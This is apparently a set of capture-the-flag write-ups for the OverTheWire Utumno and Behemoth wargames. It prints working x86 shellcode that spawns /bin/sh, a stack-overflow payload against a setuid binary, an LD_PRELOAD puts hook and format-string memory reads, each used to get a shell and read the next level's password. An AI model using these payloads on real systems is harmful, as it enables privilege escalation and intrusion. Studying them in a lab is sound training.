OverTheWire - Utumno1

Site: http://overthewire.org/wargames/utumno/
Level: 1
Situation: Custom Shellcode Exercise

We start like we usually do. Create a folder for to work from, file the archtype of the file we are working with then go ahead and run it to see the output.

utumno1@melinda:~$ mkdir /tmp/uh1
utumno1@melinda:/tmp/uh1$
utumno1@melinda:/tmp/uh1$ file /utumno/utumno1
/utumno/utumno1: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), 
dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]
=14165b6969bba9f8c46363c08f6166898f704e3e, not stripped
utumno1@melinda:/tmp/uh1$ /utumno/utumno1
utumno1@melinda:/tmp/uh1$

Nothing happens lets go ahead and try to pass a parameter in the arguments line to see if anything happens.

utumno1@melinda:/tmp/uh1$ /utumno/utumno1 asdf
utumno1@melinda:/tmp/uh1$

Nothing again, time to break out ltrace on both running without a parameter and with one.

utumno1@melinda:/tmp/uh1$ ltrace /utumno/utumno1
__libc_start_main(0x80484a6, 1, 0xffffd794, 0x8048540 <unfinished ...>
exit(1 <no return ...>
+++ exited (status 1) +++
utumno1@melinda:/tmp/uh1$ ltrace /utumno/utumno1 asdf
__libc_start_main(0x80484a6, 2, 0xffffd774, 0x8048540 <unfinished ...>
opendir("asdf")                                             = 0
exit(1 <no return ...>
+++ exited (status 1) +++

Interesting an opendir is called but as we know it will fail due to our directory not existing. Let’s create the directory and pass it through.

utumno1@melinda:/tmp/uh1$ mkdir asdf
utumno1@melinda:/tmp/uh1$
utumno1@melinda:/tmp/uh1$ ltrace /utumno/utumno1 /tmp/uh1/asdf
__libc_start_main(0x80484a6, 2, 0xffffd774, 0x8048540 <unfinished ...>
opendir("/tmp/uh1/asdf")                                    = 0x804a008
readdir(0x804a008)                                          = 0x804a024
strncmp("sh_", "..", 3)                                     = 1
readdir(0x804a008)                                          = 0x804a034
strncmp("sh_", ".", 3)                                      = 1
readdir(0x804a008)                                          = 0
+++ exited (status 0) +++

We know strncmp is used to compare two strings together and the third parameter is used to specify how many characters to match against. We can also see that “.” and “..” are being compared against. In Linux these are used to move directories but they are represented as files on the file system. Since it’s doing it multiple times we can infer that it is iterating over the list of files in asdf. To make sure let’s make a new file called “sh_test” in our directory and see what happens.

utumno1@melinda:/tmp/uh1$ touch asdf/sh_test
utumno1@melinda:/tmp/uh1$ ltrace /utumno/utumno1 /tmp/uh1/asdf
__libc_start_main(0x80484a6, 2, 0xffffd774, 0x8048540 <unfinished ...>
opendir("/tmp/uh1/asdf")                                    = 0x804a008
readdir(0x804a008)                                          = 0x804a024
strncmp("sh_", "..", 3)                                     = 1
readdir(0x804a008)                                          = 0x804a034
strncmp("sh_", "sh_test", 3)                                = 0
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

Interesting here we have crash here. This is about as far as our testing can take us. Time to open up our good old debugger. For this we can use GDB however we will be using hopper to assist us in this.

After loading up in hopper we are going to generate a callgraph to assist us.

To make things a bit easier when reading the values in memory we will first change our sh_test to sh_testAAAAAAAAAAAAAAAAA.

Embeded FullSize

We can see the standard flow of the application. As we thought there is a looping function that is calling over the directory. To make it easier to read lets go ahead and mark up the callgraph to help understand program flow.

Embeded FullSize

Knowing what occurs we now need to look at the run function and see what is going on. We are going to go ahead and navigate to run and see how it looks.

run:
    push       ebp
	mov        ebp, esp
	sub        esp, 0x10
	lea        eax, dword [ss:ebp+var_4]
	add        eax, 0x8
	mov        dword [ss:ebp+var_4], eax
	mov        eax, dword [ss:ebp+var_4]
	mov        edx, dword [ss:ebp+arg_0]
	mov        dword [ds:eax], edx
	leave      
	ret

We know from our previous callgraph that our filename is stored in EDX. We step through our debugger till right after the return. Then check our values.

Embeded FullSize

We use x/s $eip to see what our EIP values our.

Embeded FullSize

Interesting our $eip is in fact our filename. So we know now that our filename location is being passed to EIP and is attempted to be ran and is failing. So now we just have to craft some shell code to exploit this. We have to remember we are limited to the bash environment in what it allows filenames to be. In this case we cannot use our trusty 21 byte /bin/sh as it as “" when the shell code is generate and bash does not allow this.

So we have to craft a separate bit of shell code that will call a symlink copy of /bin/sh. Our symlink is simply called “temp” and is generated as follows.

ln -s /bin/sh temp
global _start  		
; Calling execv
; int execve(const char *filename, char *const argv[], char *const envp[]);

section .text
_start:
 
	; Zero out the eax register
	xor eax, eax
        ; Push 0x00000000 to the stack for a null terminated string
	push eax
 
	; Push our desired binary to run
	push 0x706d6574
 
        ; Store position of binary in ebx
	mov ebx, esp
 
        ; Push our null byte and store the address in edx
	push eax
	mov edx, esp 
 
	; push address of binary store in ecx
	push ebx
	mov ecx, esp
  
        ;Move 11 (Execv) to al
	mov al, 11
        ; Call it
	int 0x80

Now we just upload the file to our folder and compile and link it with the following.

utumno1@melinda:/tmp/uh1$ nasm -f elf32 shell.asm 
utumno1@melinda:/tmp/uh1$ ld -m elf_i386 -s -o shell shell.o

To get the shellcode we need we are going to use a sed online found online.

objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s \
' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

Our shellcode is the following.

\x31\xc0\x50\x68\x74\x65\x6d\x70\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

Now we just need to generate the file we will use Perl and touch for this.

touch `perl -e 'print "sh_\x31\xc0\x50\x68\
x74\x65\x6d\x70\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'`

Now we create the file inside of the folder labeled asdf and run our application.

utumno1@melinda:/tmp/uh1/asdf$ touch `perl -e 'print "sh_\x31\xc0\x50\x68\x74\x65\x6d
\x70\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'`
utumno1@melinda:/tmp/uh1/asdf$ /utumno/utumno1 `pwd`
$ cat /etc/utumno_pass/utumno2
[OMITTED]

There is our password.

OverTheWire - Utumno0

Site: http://overthewire.org/wargames/utumno/
Level: 0
Situation: Library Function Hooking

We start as we did during the behemoth files. We create a temp directory to store our files. Find out the archtype for file we are running and run the application to see the output.

utumno0@melinda:~$ mkdir /tmp/ut0
utumno0@melinda:~$ cd /tmp/ut0
utumno0@melinda:/tmp/ut0$ file /utumno/utumno0
/utumno/utumno0: setuid executable, regular file, no read permission

It seems two things are interesting it seems our file failed this is usually caused when we cannot directly read a file. To insure that is the case we look at the file permissions.

utumno0@melinda:/tmp/ut0$ ls -la /utumno/utumno0
---s--x--- 1 utumno1 utumno0 5810 Nov 14 10:32 /utumno/utumno0

This is the case lets go ahead and see what happens when we run it.

utumno0@melinda:/tmp/ut0$ /utumno/utumno0 
Read me! :P

Apparently this is our challenge. There are a few routes we can go in this challenge however we are going to go with the hooking a library function. To do this we basically are going to create a shared library redefining the puts function to do what we need.

To do this we will first need to find out what the puts function definition is.

Definition:
int puts(const char *s);

Return:
puts() and fputs() return a non-negative number on success, or EOF on error.

So we are going to go ahead and implement a simple hook.

//hookputs.c

#define _GNU_SOURCE
#include <stdio.h>
#include <stdint.h>
#include <dlfcn.h>
 
int puts(const char *s) {
    int i;
    char *pt;

    // Variable to store the original puts function. just incase we need it.
    static void* (*my_puts)(const char*s) = NULL;

    if (!my_puts){
        // Store the original puts function.
        my_puts = dlsym(RTLD_NEXT, "puts");
    }
 
    // Display our hooked
    printf("Hooked-%s", s);

    return 0;
 
}

We need to compile this for the correct archtype which in this case is i386 and we need to link it as well.

utumno0@melinda:/tmp/ut0$ gcc -m32 -fPIC -c hookputs.c 
utumno0@melinda:/tmp/ut0$ ld -shared -m elf_i386 -o hookputs.so hookputs.o -ldl

Now in order to load our hook all that is needed is to use LD_PRELOAD to load our shared object. It’s important to note when we use ltrace on the following command it is going to error saying it cannot open utumno0 however our lib is still able to be traced so we can get some trace.

utumno0@melinda:/tmp/ut0$ LD_PRELOAD="./hookputs.so" ltrace /utumno/utumno0 

ERROR: ld.so: object './hookputs.so' from LD_PRELOAD cannot be preloaded 
(wrong ELF class: ELFCLASS32): ignored.failed to initialize process 15198: 
No such file or directory couldn't open program '/utumno/utumno0': No such file or 
directory
utumno0@melinda:/tmp/ut0$ Hooked-Read me! :P

It works! Even if it says that our object could not be preloaded it is still loaded interesting.

So now all that is needed is for us to locate the memory locations holding the “Read me!” information. Since we can’t open the application in a debugger due to not having read permissions on the file. We can actually use a printf and the values we used to exploit a format string vulnerability to read the stack.

So to do that we turn our hook to the following.

#define _GNU_SOURCE
#include <stdio.h>
#include <stdint.h>
#include <dlfcn.h>
 
int puts(const char *s) {
    int i;
    char *pt;

    // Variable to store the original puts function. just incase we need it.
    static void* (*my_puts)(const char*s) = NULL;

 
    if (!my_puts){
        // Store the original puts function.
        my_puts = dlsym(RTLD_NEXT, "puts");
    }

    // Start looking at stack addresses
    printf("%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-");
    // Display our hooked
    printf("Hooked-%s", s);

    return 0;
 
}

We recompile and run it and it gives us the following.

utumno0@melinda:/tmp/ut0$ LD_PRELOAD="./hookputs.so" ltrace /utumno/utumno0 
ERROR: ld.so: object './hookputs.so' from LD_PRELOAD cannot be preloaded 
(wrong ELF class: ELFCLASS32): ignored.
failed to initialize process 17346: No such file or directory
couldn't open program '/utumno/utumno0': No such file or directory
utumno0@melinda:/tmp/ut0$ f7fd527c-ffffd6f4-f7fd5210-1-f7fc8000-ffffd6c8-804841a-
80484cb-ffffd764-ffffd76c-f7e5307d-f7fc83c4-Hooked-Read me! :P

Looking at these we have a few memory addresses a bit scattered however if we look closely there is two addresses that are very close together. 0x804841a and 0x80484cb so we are going to go ahead and run through this memory space.

Turning our hooking code to the following.

#define _GNU_SOURCE
#include <stdio.h>
#include <stdint.h>
#include <dlfcn.h>
 
int puts(const char *s) {
    int i;
    char *pt;

    // Variable to store the original puts function. just incase we need it.
    static void* (*my_puts)(const char*s) = NULL;
 
    if (!my_puts){
        // Store the original puts function.
        my_puts = dlsym(RTLD_NEXT, "puts");
    }

    // Start looking at stack addresses
    printf("%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-");
    // Display our hooked
    printf("Hooked-%s", s);
    // Run through the memory space.
    for( i = 0x804841a; i < 0x80484cb; i++) {
        pt = i;
        printf("%c", *pt);
        printf("");
    }
    return 0;
}

After running that our output is the following.

utumno0@melinda:/tmp/ut0$ LD_PRELOAD="./hookputs.so" ltrace /utumno/utumno0 
ERROR: ld.so: object './hookputs.so' from LD_PRELOAD cannot be preloaded 
(wrong ELF class: ELFCLASS32): ignored.
failed to initialize process 17784: No such file or directory
couldn't open program '/utumno/utumno0': No such file or directory
utumno0@melinda:/tmp/ut0$ f7fd52d8-0-0-ffffd6c8-f7ff0500-ffffd6f4
-f7fd5240-1-f7fc8000-ffffd6c8-804841a-80484cb-Hooked-Read me! :
-- SNIP --
OMMITED NONE ALPHA NUMERIC CHARACTERS 
-- SNIP --
[OMITTED]

There is our password.

OverTheWire - Behemoth 7

Site: http://overthewire.org/wargames/behemoth/
Level: 7
Situation: Stackoverflow limited space

This one had me stuck until I stepped back and tried a simpler shell code specifically “exit”. Supplied me with what I needed to figure it out.

There are multiple solutions to this problem. The one i chose involved utilizing the buffer size i had available to me rather than loading the shell code from a different area.

We start as usual create our temp directory, upload our invoker.sh script and shellcalc. The find the arch type of the file and get the output.

behemoth7@melinda:~$ mkdir /tmp/bh7
behemoth7@melinda:~$ cd /tmp/bh7
behemoth7@melinda:/tmp/bh7
behemoth7@melinda:/tmp/bh7$ file /behemoth/behemoth7
/behemoth/behemoth7: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=d826bb4499d044b507b5c3c0653c0353f9646b70, not stripped
behemoth7@melinda:/tmp/bh7$ /behemoth/behemoth7
behemoth7@melinda:/tmp/bh7$

Nothing useful lets go ahead and run an objdump and strings to get some more info.

behemoth7@melinda:/tmp/bh7$ objdump -R /behemoth/behemoth7

/behemoth/behemoth7:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
0804993c R_386_GLOB_DAT    __gmon_start__
08049974 R_386_COPY        stderr
0804994c R_386_JUMP_SLOT   strcpy
08049950 R_386_JUMP_SLOT   __gmon_start__
08049954 R_386_JUMP_SLOT   exit
08049958 R_386_JUMP_SLOT   strlen
0804995c R_386_JUMP_SLOT   __libc_start_main
08049960 R_386_JUMP_SLOT   fprintf
08049964 R_386_JUMP_SLOT   memset
08049968 R_386_JUMP_SLOT   __ctype_b_loc
behemoth7@melinda:/tmp/bh7$ strings /behemoth/behemoth7
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
strcpy
exit
strlen
memset
__ctype_b_loc
stderr
fprintf
__libc_start_main
__gmon_start__
GLIBC_2.3
GLIBC_2.0
PTRh
QVh-
[^_]
alpha
Non-%s chars found in string, possible shellcode!
;*2$"

Seems as if memset is being called, also a very interesting string “alpha Non-%s chars found in string, possible shellcode!”. We can assume when combined it looks like printf(“Non-%s chars found in string, possible shellcode!”, “alpha”).

The string seems to tell us that alphanumeric is our only option we can test this by trying the following.

behemoth7@melinda:/tmp/bh7$ /behemoth/behemoth7 `perl -e 'print "\x90"'`
Non-alpha chars found in string, possible shellcode!

We know that it is confirmed we will need to use non-alpha characters or at least that’s how it seems so far. Before we continue down that route we will complete our info gathering by running an ltrace with and without data input.

behemoth7@melinda:/tmp/bh7$ ltrace /behemoth/behemoth7
__libc_start_main(0x804852d, 1, 0xffffd784, 0x80486a0 <unfinished ...>

-- SNIP --
strlen("PWD=/tmp/bh7")                             = 12
memset(0xffffded6, '\0', 12)                       = 0xffffded6
strlen("LANG=en_US.UTF-8")                         = 16
memset(0xffffdee3, '\0', 16)                       = 0xffffdee3
strlen("SHLVL=1")                                  = 7
memset(0xffffdef4, '\0', 7)                        = 0xffffdef4
strlen("HOME=/home/behemoth7")                     = 20
memset(0xffffdefc, '\0', 20)                       = 0xffffdefc
strlen("LOGNAME=behemoth7")                        = 17
memset(0xffffdf11, '\0', 17)                       = 0xffffdf11
strlen("SSH_CONNECTION=75.172.131.100 40"...)      = 53
memset(0xffffdf23, '\0', 53)                       = 0xffffdf23
strlen("LESSOPEN=| /usr/bin/lesspipe %s")          = 31
memset(0xffffdf59, '\0', 31)
+++ exited (status 0) +++

-- SNIP --

This first run shows that all our environment variables are being zeroed out. So we know we will not be using an environment egg.

behemoth7@melinda:/tmp/bh7$ ltrace /behemoth/behemoth7 testinput
__libc_start_main(0x804852d, 2, 0xffffd764, 0x80486a0 <unfinished ...>
-- SNIP --
memset(0xffffded6, '\0', 12)                       = 0xffffded6
strlen("LANG=en_US.UTF-8")                         = 16
memset(0xffffdee3, '\0', 16)                       = 0xffffdee3
strlen("SHLVL=1")                                  = 7
memset(0xffffdef4, '\0', 7)                        = 0xffffdef4
strlen("HOME=/home/behemoth7")                     = 20
memset(0xffffdefc, '\0', 20)                       = 0xffffdefc
memset(0xffffdfcd, '\0', 22)                       = 0xffffdfcd
__ctype_b_loc()                                    = 0xf7e216c8
__ctype_b_loc()                                    = 0xf7e216c8
__ctype_b_loc()                                    = 0xf7e216c8
__ctype_b_loc()                                    = 0xf7e216c8
__ctype_b_loc()                                    = 0xf7e216c8
__ctype_b_loc()                                    = 0xf7e216c8
__ctype_b_loc()                                    = 0xf7e216c8
__ctype_b_loc()                                    = 0xf7e216c8
__ctype_b_loc()                                    = 0xf7e216c8
strcpy(0xffffd4b4, "testinput")                    = 0xffffd4b4
+++ exited (status 0) +++
-- SNIP --

Looks like our information is being passed to __ctype_b_loc creating a pointer into an array of characters. For ctype functions.

Now we will be using GDB to disassemble the application and see what is going on and if it is helpful.

behemoth7@melinda:/tmp/bh7$ ./invoker.sh -d /behemoth/behemoth7
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
-- SNIP --
   0x08048551 <+36>:	jmp    0x80485a1 <main+116>
   0x08048553 <+38>:	mov    eax,DWORD PTR [esp+0x218]
   0x0804855a <+45>:	lea    edx,[eax*4+0x0]
   0x08048561 <+52>:	mov    eax,DWORD PTR [ebp+0x10]
   0x08048564 <+55>:	add    eax,edx
   0x08048566 <+57>:	mov    eax,DWORD PTR [eax]
   0x08048568 <+59>:	mov    DWORD PTR [esp],eax
   0x0804856b <+62>:	call   0x80483e0 <strlen@plt>

End of assembler dump.
-- SNIP --

Nothing immediately useful. Let’s go ahead and do a test for some common vulnerabilities. Let’s go ahead and throw a large string to see if we can cause a crash.

behemoth7@melinda:/tmp/bh7$ /behemoth/behemoth7 `perl -e 'print "A"x600'`
Segmentation fault

Looks like we might be on to something. Let’s go ahead and use metasploit to figure out the exact length required to crash the application.

We end up finding out that the size is 536.

(gdb) run $(perl -e 'print "A"x536 . "AAAA"')
Starting program: /games/behemoth/behemoth7 $(perl -e 'print "A"x536 . "AAAA"')

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Now we know that it is requiring alpha numeric characters. However we can test to see if there is a limit on how much of the buffer is checked. We will try 256 and 512. Some standard buffer sizes.

(gdb) run $(perl -e 'print "A"x256 . "\x90" . "A"x279 . "AAAA"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/behemoth/behemoth7 $(perl -e 'print "A"x256 . "\x90" . "A"x279 . "AAAA"')
Non-alpha chars found in string, possible shellcode!
[Inferior 1 (process 12234) exited with code 01]
(gdb) run $(perl -e 'print "A"x512 . "\x90" . "A"x23 . "AAAA"')
Starting program: /games/behemoth/behemoth7 $(perl -e 'print "A"x512 . "\x90" . "A"x23 . "AAAA"')

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Looks like there is a limit on the size. Now 512 of our total buffer size is dedicated to filling the check buffer meaning we have 24 bytes left to store our shell code and put an indicator to help us find the address. So the format for our payload is going to be.

DATA <> NOP <> SHELLCODE <> ADDRESS

Our shell code to spawn a shell is 21 bytes long leaving us 3 bytes for an identifier.

\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80

The complete payload now looks like this.

perl -e 'print "A"x512 . "\x90"x3 .  "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "AAAA"'

All we need to do now is locate our small nopsled. We know that the address is going to be 0x90909041. So we can search for this pattern.

(gdb) run $(perl -e 'print "A"x512 . "\x90"x3 .  "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "AAAA"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /games/behemoth/behemoth7 $(perl -e 'print "A"x512 . "\x90"x3 .  "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "AAAA"')

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) find $esp,$esp+1000,0x90909041
0xffffdfa7
1 pattern found.

Now we can’t use that address directly due to the 41 that exist. So we simply increment the address by one which will give us the beginning of the nopsled. Making our new address 0xffffdfa8.

Our payload is now.

perl -e 'print "A"x512 . "\x90"x3 .  "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "\xa8\xdf\xff\xff"'

Now if everything goes as planned we should get a shell or at least /bin/sh being called.

(gdb) run $(perl -e 'print "A"x512 . "\x90"x3 .  "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "\xa8\xdf\xff\xff"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /games/behemoth/behemoth7 $(perl -e 'print "A"x512 . "\x90"x3 .  "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "\xa8\xdf\xff\xff"')
process 9559 is executing new program: /bin/dash
$

Now we just run it in userspace.

behemoth7@melinda:/tmp/bh7$ ./invoker.sh /behemoth/behemoth7 `perl -e 'print "A"x512 . "\x90"x3 .  "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "\xa8\xdf\xff\xff"'`
$ whoami
behemoth8
$ cat /etc/behemoth_pass/behemoth8
[OMITTED]

There is our password.

OverTheWire - Behemoth 6

Site: http://overthewire.org/wargames/behemoth/
Level: 6
Situation: Custom Shellcode Exercise?

This challenge had potential to be multistage and I’ll be a bit challenging. However it was much simpler then it first appeared.

We start in the usual fashion. Create our working directory, find the file arch type, run the application.

behemoth6@melinda:~$ mkdir /tmp/bh6
behemoth6@melinda:~$ cd /tmp/bh6
behemoth6@melinda:/tmp/bh6$
behemoth6@melinda:/tmp/bh6$ file /behemoth/behemoth6
/behemoth/behemoth6: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=86bc5c0766b602cb1d1e85955eca6360ae5b5ac6, not stripped
behemoth6@melinda:/tmp/bh6$ /behemoth/behemoth6
Incorrect output.

So far nothing to interesting lets go ahead and ltrace the application.

behemoth6@melinda:/tmp/bh6$ ltrace /behemoth/behemoth6
__libc_start_main(0x804857d, 1, 0xffffd784, 0x8048660 <unfinished ...>
popen("/behemoth/behemoth6_reader", "r")           = 0x804b008
malloc(10)                                         = 0x804b0b8
fread(0x804b0b8, 10, 1, 0x804b008)                 = 1
pclose(0x804b008 <no return ...>
--- SIGCHLD (Child exited) ---
<... pclose resumed> )                             = 0
strcmp("Couldn't o", "HelloKitty")                 = -1
puts("Incorrect output."Incorrect output.
)                          = 18
+++ exited (status 0) +++

We see two things here.

  1. Another application has been opened using popen. “behemoth6_reader”

  2. It is getting the return value and using it in a strcmp to “HelloKitty”.

Now let’s go ahead and run a file and ltrace on the behemoth6_reader.

behemoth6@melinda:/tmp/bh6$ file /behemoth/behemoth6
/behemoth/behemoth6: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=86bc5c0766b602cb1d1e85955eca6360ae5b5ac6, not stripped
behemoth6@melinda:/tmp/bh6$ ltrace /behemoth/behemoth6_reader
__libc_start_main(0x80485ad, 1, 0xffffd774, 0x80486c0 <unfinished ...>
fopen("shellcode.txt", "r")                        = 0
puts("Couldn't open shellcode.txt!"Couldn't open shellcode.txt!
)               = 29
+++ exited (status 0) +++

It is attempting to open a text file called shellcode.txt. Let’s go ahead and create this file and see what is returned.

behemoth6@melinda:/tmp/bh6$ ltrace /behemoth/behemoth6_reader
__libc_start_main(0x80485ad, 1, 0xffffd774, 0x80486c0 <unfinished ...>
fopen("shellcode.txt", "r")                        = 0x804b008
fseek(0x804b008, 0, 2, 0x8048712)                  = 0
ftell(0x804b008, 0, 2, 0x8048712)                  = 0
rewind(0x804b008, 0, 2, 0x8048712)                 = 0xfbad2488
malloc(0)                                          = 0x804b170
fread(0x804b170, 0, 1, 0x804b008)                  = 0
fclose(0x804b008)                                  = 0
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

The file is opened and read however a segfault occurs. So we open it up in GDB to see what is going on.

(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
-- SNIP --
   0x08048672 <+197>:	movzx  eax,BYTE PTR [eax]
   0x08048675 <+200>:	cmp    al,0xb
   0x08048677 <+202>:	jne    0x8048691 <main+228>
   0x08048679 <+204>:	mov    DWORD PTR [esp],0x804877d
   0x08048680 <+211>:	call   0x8048450 <puts@plt>
   0x08048685 <+216>:	mov    DWORD PTR [esp],0x1
   0x0804868c <+223>:	call   0x8048470 <exit@plt>
   0x08048691 <+228>:	add    DWORD PTR [esp+0x1c],0x1
   0x08048696 <+233>:	mov    eax,DWORD PTR [esp+0x1c]
   0x0804869a <+237>:	cmp    eax,DWORD PTR [esp+0x24]
   0x0804869e <+241>:	jl     0x8048668 <main+187>
   0x080486a0 <+243>:	mov    eax,DWORD PTR [esp+0x28]
   0x080486a4 <+247>:	mov    DWORD PTR [esp+0x2c],eax
   0x080486a8 <+251>:	mov    eax,DWORD PTR [esp+0x2c]
   0x080486ac <+255>:	call   eax
   0x080486ae <+257>:	mov    eax,0x0
   0x080486b3 <+262>:	leave  
   0x080486b4 <+263>:	ret    
End of assembler dump.
-- SNIP --

After disassembly we can see that in fact our file is loaded into memory. More interestingly is the call to EAX. We break here and see what is being called. We add “aaa” to our shellcode.txt to see if it is called and create a breakpoint on the call EAX address.

(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /games/behemoth/behemoth6_reader 

Breakpoint 3, 0x080486ac in main ()
(gdb) x/s $eax
0x804b170:	"aaa\n"

As we thought would happen, it is calling EAX code directly. To get the output we need we will write some shell code that returns the string “HelloKitty”.

;HelloKitty.asm
[SECTION .text]

global _start

_start:

        jmp short ender

        starter:

        xor eax, eax    ;clean up the registers
        xor ebx, ebx
        xor edx, edx
        xor ecx, ecx

        mov al, 4       ;syscall write
        mov bl, 1       ;stdout is 1
        pop ecx         ;get the address of the string from the stack
        mov dl, 10       ;length of the string
        int 0x80

        xor eax, eax
        mov al, 1       ;exit the shellcode
        xor ebx,ebx
        int 0x80

        ender:
        call starter	;put the address of the string on the stack
        db 'HelloKitty'

We need to compile this and link for i386.

behemoth6@melinda:/tmp/bh6$ nasm -f elf32 HelloKitty.asm 
behemoth6@melinda:/tmp/bh6$ ld -m elf_i386 -s -o HelloKitty HelloKitty.o

To get the shell code we simply use objdump and manually copy out the values.

behemoth6@melinda:/tmp/bh6$ objdump -d HelloKitty

HelloKitty:     file format elf32-i386


Disassembly of section .text:

08048060 <.text>:
-- SNIP --
 8048060:	eb 19                	jmp    0x804807b
 8048062:	31 c0                	xor    %eax,%eax
 8048064:	31 db                	xor    %ebx,%ebx
 8048066:	31 d2                	xor    %edx,%edx
 8048068:	31 c9                	xor    %ecx,%ecx
 804806a:	b0 04                	mov    $0x4,%al
 804806c:	b3 01                	mov    $0x1,%bl
 804806e:	59                   	pop    %ecx
 804806f:	b2 0a                	mov    $0xa,%dl
 8048071:	cd 80                	int    $0x80
-- SNIP --

After some modifying our shellcode is as follows.

\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x0a\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x48\x65\x6c\x6c\x6f\x4b\x69\x74\x74\x79

Now we insert that into shellcode.txt and we get the following.

behemoth6@melinda:/tmp/bh6$ /behemoth/behemoth6
Correct.
$ cat /etc/behemoth_pass/behemoth7
[OMITTED]

There is our password.

OverTheWire - Behemoth 5

Site: http://overthewire.org/wargames/behemoth/
Level: 5
Situation: Reading Assembly Exercise?

So let us start how we usually do. We are going to create our temp directory, check file arch type, run our application.

behemoth5@melinda:~$ mkdir /tmp/bh5
behemoth5@melinda:~$ cd /tmp/bh5
behemoth5@melinda:/tmp/bh5$ file /behemoth/behemoth5
/behemoth/behemoth5: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=cc9166a1934734dac9f39544c1383cef7bfa84d8, not stripped
behemoth5@melinda:/tmp/bh5$ /behemoth/behemoth5
behemoth5@melinda:/tmp/bh5$

Not much is being told to us here. We will now do some information grabbing. We will grab the global offset table and ltrace the application.

behemoth5@melinda:/tmp/bh5$ objdump -R /behemoth/behemoth5

/behemoth/behemoth5:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ffc R_386_GLOB_DAT    __gmon_start__
0804a00c R_386_JUMP_SLOT   fgets
0804a010 R_386_JUMP_SLOT   fclose
0804a014 R_386_JUMP_SLOT   rewind
0804a018 R_386_JUMP_SLOT   htons
0804a01c R_386_JUMP_SLOT   fseek
0804a020 R_386_JUMP_SLOT   perror
0804a024 R_386_JUMP_SLOT   malloc
0804a028 R_386_JUMP_SLOT   __gmon_start__
0804a02c R_386_JUMP_SLOT   exit
0804a030 R_386_JUMP_SLOT   strlen
0804a034 R_386_JUMP_SLOT   __libc_start_main
0804a038 R_386_JUMP_SLOT   ftell
0804a03c R_386_JUMP_SLOT   fopen
0804a040 R_386_JUMP_SLOT   memset
0804a044 R_386_JUMP_SLOT   sendto
0804a048 R_386_JUMP_SLOT   atoi
0804a04c R_386_JUMP_SLOT   socket
0804a050 R_386_JUMP_SLOT   gethostbyname
0804a054 R_386_JUMP_SLOT   close

We gain a bit of information here we can clearly see that socket and gethostbyname is being called. As well as fgets and seek. So we can assume a few things.

  1. A file is being read and parsed
  2. A socket of some kind is being opened.
behemoth5@melinda:/tmp/bh5$ ltrace /behemoth/behemoth5
__libc_start_main(0x804873d, 1, 0xffffd784, 0x8048960 <unfinished ...>
fopen("/etc/behemoth_pass/behemoth6", "r")         = 0
perror("fopen"fopen: Permission denied
)                                    = <void>
exit(1 <no return ...>
+++ exited (status 1) +++

From this we now know what file is being opened. To our surprise it is the password file for the next level.

Note. It is failing to open the file due to ltrace running the application with behemoth5 permissions. Under normal execution it can access the file.

